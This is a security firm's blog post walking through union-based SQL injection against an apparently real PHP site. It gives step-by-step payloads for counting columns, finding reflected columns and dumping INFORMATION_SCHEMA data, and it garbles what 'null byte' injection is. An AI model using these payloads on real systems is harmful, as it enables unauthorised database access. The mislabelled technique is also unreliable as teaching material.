Experiencing a Security Incident? → 24/7 Response: +91 73059 79248
Briskinfosec
COMPANY
About Briskinfosec Scope My Security Program Our Clients Testimonials Careers Partnership
INDUSTRIES
Banking & Financial Services Healthcare Manufacturing Government Energy & Utilities Telecom Technology Retail & E-Commerce All Industries →
CONNECT
Contact Us Request Assessment Responsible Disclosure Client Certificate Verification Training Certificate Verification
SECURITY TESTING (VAPT)
Web Application VAPT Mobile App Security API Security Testing Cloud Security Assessment Network Security Audit IoT Penetration Testing OT/SCADA Security Database Penetration Wireless Security CREST VAPT
ADVANCED ASSESSMENT
Red Team Operations AI/LLM Security Audit Digital Forensics Cyber Intelligence Secure Code Review DevSecOps Hardware Security Thick Client Security Host Level Security Automotive VAPT Telecom VAPT
DATA & PRIVACY
Data Security Audit Data Privacy Audit Data Masking & Privacy DSPM Data Breach Simulation SBOM & SCA Website Security All Assurance Services →
COMPLIANCE FRAMEWORKS
ISO 27001:2022 SOC 2 PCI-DSS HIPAA GDPR DPDPA NIST CSF IRDAI ISO 22301 (BCP) ISO 42001 (AI) IEC 62443 (OT) ISO 21434 (Automotive) PDPL (Saudi)
GRC SERVICES
GRC Framework Cyber Risk Assessment Third-Party Risk (TPRM) Data Privacy Compliance Data Retention Policy National Security Compliance Cybersecurity Insurance All Compliance →
GOVERNANCE LAYER
Data Governance Security Posture Management Cybersecurity Maturity AI Maturity Assessment Cyber Resilience BCP/DR Planning vIT Compliance Business Impact Analysis
MANAGED SECURITY
Managed Security (MSSP) SOC as a Service V-CISO Incident Response Virtual Security Team Third Eye (Surveillance)
CONTINUOUS MONITORING
SOAR Integration Security Monitoring Threat Intelligence Platform Cyber Threat Intelligence Lateral Movement Detection Penetration Test as Service
DEFENSIVE OPS
Perimeter Security Access Control Review Cloud Config Review CDN Security Network Architecture Cloud Security Management Virtualization Security All MSSP Services →
ELITE ASSESSMENTS
Threat Modeling Ransomware Readiness Threat & Vulnerability Mgmt Military Grade Review Hacker's POV Assessment
HUMAN LAYER
Security Awareness Training Phishing Simulation Tabletop Exercise Secure Code Training Cybersecurity Culture Cybersec Leadership Incident Response Training Data Privacy Training
STRATEGIC SERVICES
Application Security Governance Quarterly AppSec Review Minimum Security Baseline Secure SDLC Cyber Sense Plan Integration Threat Analysis Infra Risk Assessment Web Extensions Security bSAFE Security Score Layered Security Philosophy All Maturity Services →
PLATFORMS
LURA Portal LuraInsight (SAST) bSAFE Score BriskBox All Products →
Staffing
LEARN
Blog Videos Case Studies Press Room
INTELLIGENCE
Threatsploit Reports Security Essentials Carousel Flyers & Downloads All Resources →
Briskinfosec is a CREST accredited cybersecurity firm, globally recognized for penetration testing and VAPT services Briskinfosec is a CERT-In empanelled cybersecurity company based in Chennai with global operations in Dubai
Get Your bSafe Score →
Briskinfosec
COMPANY
About Briskinfosec Scope My Security Program Our Clients Testimonials Careers Partnership
INDUSTRIES
Banking & Financial Services Healthcare Manufacturing Government Energy & Utilities Telecom Technology Retail & E-Commerce All Industries →
CONNECT
Contact Us Request Assessment Responsible Disclosure Client Certificate Verification Training Certificate Verification
SECURITY TESTING (VAPT)
Web Application VAPT Mobile App Security API Security Testing Cloud Security Assessment Network Security Audit IoT Penetration Testing OT/SCADA Security Database Penetration Wireless Security CREST VAPT
ADVANCED ASSESSMENT
Red Team Operations AI/LLM Security Audit Digital Forensics Cyber Intelligence Secure Code Review DevSecOps Hardware Security Thick Client Security Host Level Security Automotive VAPT Telecom VAPT
DATA & PRIVACY
Data Security Audit Data Privacy Audit Data Masking & Privacy DSPM Data Breach Simulation SBOM & SCA Website Security All Assurance Services →
COMPLIANCE FRAMEWORKS
ISO 27001:2022 SOC 2 PCI-DSS HIPAA GDPR DPDPA NIST CSF IRDAI ISO 22301 (BCP) ISO 42001 (AI) IEC 62443 (OT) ISO 21434 (Automotive) PDPL (Saudi)
GRC SERVICES
GRC Framework Cyber Risk Assessment Third-Party Risk (TPRM) Data Privacy Compliance Data Retention Policy National Security Compliance Cybersecurity Insurance All Compliance Services →
GOVERNANCE LAYER
Data Governance Security Posture Management Cybersecurity Maturity AI Maturity Assessment Cyber Resilience BCP/DR Planning vIT Compliance Business Impact Analysis
MANAGED SECURITY
Managed Security (MSSP) SOC as a Service V-CISO Incident Response Virtual Security Team Third Eye (Surveillance)
CONTINUOUS MONITORING
SOAR Integration Security Monitoring Threat Intelligence Platform Cyber Threat Intelligence Lateral Movement Detection Penetration Test as Service
DEFENSIVE OPS
Perimeter Security Access Control Review Cloud Config Review CDN Security Network Architecture Cloud Security Management Virtualization Security
ELITE ASSESSMENTS
Threat Modeling Ransomware Readiness Threat & Vulnerability Mgmt Military Grade Review Hacker's POV Assessment
HUMAN LAYER
Security Awareness Training Phishing Simulation Tabletop Exercise Secure Code Training Cybersecurity Culture Cybersec Leadership Incident Response Training Data Privacy Training
STRATEGIC SERVICES
Application Security Governance Quarterly AppSec Review Minimum Security Baseline Secure SDLC Cyber Sense Plan Integration Threat Analysis Infra Risk Assessment Web Extensions Security bSAFE Security Score → Layered Security Philosophy →
PLATFORMS
LURA Portal LuraInsight (SAST) bSAFE Score BriskBox All Products →
Staffing
LEARN
Blog Videos Case Studies Press Room
INTELLIGENCE
Threatsploit Reports Security Essentials Carousel Flyers & Downloads All Resources →
Home → Blog → Null Byte SQL Injection
Web Application Security

Null Byte SQL Injection

May 04, 2019
5 min read
14,999 Views
Contents
Null Byte SQL Injection

Null Byte Injection is an exploitation technique which uses URL-encoded null byte characters (i.e., or 0x00 in hex) to the user-supplied data. This injection process can alter the intended logic of the application and can allow malicious adversary to get unauthorized access to the system files.

Most web applications today are developed using high level languages such as PHP, ASP, Perl, and middle level language like Java. Some point requires processing of high-level code at system level and this process is usually accomplished by using ‘C/C++’ functions. In C/C++, a null byte indicates the string termination point or delimiter character, which denotes to stop processing the string instantly. Bytes following the delimiter will be ignored. If the string loses the null character, the length of a string becomes unknown until memory pointer happens to meet the next zero byte. In similar terms, several high-level languages treat the ‘null byte’ as a placeholder for the string length as it has no special meaning in their context. Due to this contrast in interpretation, null bytes can be injected to manipulate the application behaviour, without strain.

 CONTENTS:

  • Exploitation steps to exploit NULL-BYTE Injection
  • Determine the number of columns
  • Find the vulnerable columns
  • Get the tables
  • Get the columns
  • Extract the data
  • Conclusion
  • How Briskinfosec helps you?
  • Curious to read our case studies?
  • Last but not the least
  • You may be interested on

Exploitation steps to exploit NULL-BYTE Injection:

  • I had performed null byte SQL injection on this site: “                                 /ita/india.php?id=100 “
  • Now I’ve typed: id=100.  If you could see an error, it is vulnerable.

image

Determine the number of columns:

To determine the number of columns, we use ORDER BY n+1. We increment the number until we get an error. When we type id=100’ order by 04;, we get an error. So, we infer that the number of columns is 4. Only after using this ; query, a null byte character, I was able to balance the site. This is called as Null byte SQL injection.

image

Find the vulnerable columns:

To find the vulnerable columns, we use the UNION SELECT command. So we type id=100’ union select 1,2,3,4;, and we will see some numbers appearing on the page: 2, 3, 4. These are the vulnerable columns.

image

Get the tables:

To get the tables, insert this: id=100’ union select 1,2,(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+

FROM+INFORMATION_SCHEMA.SCHEMATA),4 .We got 1 table: information_schema.

image

Get the columns:

An interesting table is INFORMATION_SCHEMA. We extract the columns from this table: id=100’ +UNION+ALL+SELECT+1,2,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.

COLUMNS+WHERE+TABLE_NAME=0x66696c6573),4;

image

Extract the data:

Finally we can extract the data from USER_PRIVILEGES: GRANTEE, TABLE_CATALOG,PRIVILEGE_TYPE, IS_GRANTABLE below:

image

Step 1:

In the below screenshot, the data from folders like: GRANTEE, TABLE_CATALOG,PRIVILEGE_TYPE, IS_GRANTABLE have been taken.

image

CONCLUSION:

Null Byte SQL Injection is one of dreadful flaws that strike organizations furtively. 

The primary reasons for increase in such attacks are due to factors like:

  • Improper development of codes
  • Improper configuration of firewall
  • Failing to sanitize inputs of the user.

These kinds of attacks have shown a significant rise in recent years. Care should be taken by organizations to fortify such attacks, else notorious repercussions would become inevitable.

How Briskinfosec helps you?

Briskinfosec has an expert team of developers whom have a humongous experience in coding. Our developers have showed massive success in developing proper codes and also in identifying the vulnerable codes in client applications. Further, we have a dexterous team of security professionals whom have won the respect and hearts of all our clients after proving their potentiality by successfully eliminating the cyber threats that were lurking secretly. Our security professionals have also sorted out the SQL injection and its related problems for many organizations. If we can triumphantly do for them, why can’t we do for you?

Curious to read our case studies?

Check out our check studies. You’ll feel captivated as you will be glimpsing the effective cybersecurity strategies of a company done during security assessments, who is listed “as one among the top 20 most promising cybersecurity providers”. Read them now.

Last but not the least:

A single spark is always an ecstasy in darkness. Likewise, a single report that contains all the significant collection of global cyberattacks, the impacts they caused, the assets companies lost, and much more lucrative stuffs is far better than to search all these, one by one in search engines. We prepare Threatsploit Adversary report which contains the global cyberattacks. With just one click, you’ll land at the place where you wanted to see things.

You may be interested on:

  • NIST Cyber security Framework
  • From tech to business driven security
  • 101 Techniques to secure your AI product
  • Docker For Hackers
Web Application Security Website Security Secure Source Code Review Database Security
Share this article
A
Written by
Arulselvar Thomas Founder & Director
Cybersecurity expert at Briskinfosec Technology and Consulting, specializing in security assessments, compliance, and helping organizations build resilient security postures.
Recent Blogs
How to Create a Secure AWS IAM Audit User for Cloud Security Assessments
The Cyber Capability Gap Between Mythos, GPT-5.5 and Open-Weight Models Explained
Inside Claude Mythos and What the Indian Defender Actually Needs to Know
Related Services
VAPT Cloud Security Red Team Network Security API Security Mobile App Security
Latest Videos
Navigating Compliance in Cybersecurity Laws, Privacy laws and Your Business
Navigating Compliance in Cybersecurity Laws,...
Apr 26, 2024
Beyond Size: How to Elevate your SOC Cybersecurity Monitoring
Beyond Size: How to Elevate your SOC Cybersec...
Mar 20, 2024
Red Team Assessment
Red Team Assessment
Mar 13, 2024
Get Protected

Discuss your security posture with our certified experts. Get a free initial assessment.

Schedule Free Consultation WhatsApp Us

Related Articles

Ransomware The Deadliest Threat to Modern Cybersecurity
Ransomware The Deadliest Threat to Modern Cybersecurity
Jun 18, 2024 · 5,017
Mastering Web App VAPT The Complete Guide
Mastering Web App VAPT The Complete Guide
Apr 26, 2024 · 9,336
A Deep Dive into VAPT Methodology and Coverage Respective of Different Compliance Requirements
A Deep Dive into VAPT Methodology and Coverage Respective of Different Compliance Requirements
Nov 27, 2023 · 8,383
Read Next (Top Blog)
Getting Started with Frida

Ready to Strengthen Your Security?

Talk to our CREST-certified security experts today

WhatsApp Us
Chat instantly with our security team
AI Presales Bot
Get instant answers from LURA AI
Schedule Consultation
Book a free security consultation
Email Us
contact@briskinfosec.com
Link copied to clipboard!
About Us
About Briskinfosec Certin Our Clients Testimonials Press Room
Services
Application Security Mobile App Security Cloud Security Red Team Operations SOC as a Service MSSP All Services →
Compliance
ISO 27001 SOC 2 PCI-DSS GDPR HIPAA All Compliance →
Resources
Blog Videos Case Studies Threatsploit Reports All Resources →
Connect
Careers Partnership Contact Us Responsible Disclosure Terms and Conditions Privacy Policy
India (HQ) Bascon Futura Sv It Park, 12th Floor, 10/2,
Venkatanarayana Rd, T. Nagar, Chennai, Tamil Nadu 600017
+91 73059 79248 · contact@briskinfosec.com
UAE (Dubai) IFZA Business Park, Building A1, Dubai Digital Park,
Dubai Silicon Oasis, Post Box 342001, UAE
contact@briskinfosec.com
Briskinfosec CREST accredited cybersecurity company and globally recognized provider of penetration testing and VAPT services CERT-In empanelled cybersecurity company with headquarters in Chennai and operations in Dubai offering VAPT services Briskinfosec ISO 27001 certified company ensuring robust information security management system Briskinfosec ISO 9001:2015 certified cybersecurity company committed to quality management in India Briskinfosec is a DUNS registered cybersecurity company with a verified global business identity offering VAPT services
© 2026 Briskinfosec Technology & Consulting Pvt Ltd. All rights reserved.
Scope Your Security Program
Chat on WhatsApp Ask LURA AI AI